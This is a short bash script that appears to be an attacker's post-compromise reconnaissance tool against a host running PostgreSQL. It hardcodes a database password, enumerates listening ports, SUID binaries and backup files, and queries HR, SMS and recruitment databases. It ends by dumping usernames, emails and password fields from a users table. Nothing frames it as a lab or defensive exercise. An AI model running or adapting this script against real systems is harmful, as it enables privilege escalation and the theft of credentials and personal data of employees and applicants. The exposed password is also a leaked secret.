#!/bin/bash
export PGPASSWORD=140984
echo ===PG-ENV===
cat /etc/postgresql/12/main/environment 2>&1
echo ===PORTS===
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
echo ===SUID===
find / -xdev -perm -4000 -type f 2>/dev/null | grep -vE '^/snap/' | head -40
echo ===VARBACKUPS===
ls -la /var/backups/ 2>&1
echo ===INFO-TABLE===
psql -U postgres -h localhost -d db_hrms_arwana -tAc "SELECT * FROM information LIMIT 20" 2>&1
psql -U postgres -h localhost -d db_sms -tAc "SELECT * FROM information LIMIT 20" 2>&1
echo ===EMAIL-HIST===
psql -U postgres -h localhost -d db_sms -tAc "SELECT * FROM email_histories ORDER BY 1 DESC LIMIT 5" 2>&1
echo ===ACTIVITY-RECENT===
psql -U postgres -h localhost -d db_sms -tAc "SELECT * FROM activity_log ORDER BY 1 DESC LIMIT 5" 2>&1
echo ===RECRUIT-USERS===
psql -U postgres -h localhost -d db_recurement -tAc "SELECT column_name FROM information_schema.columns WHERE table_name='users' ORDER BY ordinal_position" 2>&1
psql -U postgres -h localhost -d db_recurement -tAc "SELECT id||'|'||username||'|'||email||'|'||password FROM users ORDER BY id LIMIT 20" 2>&1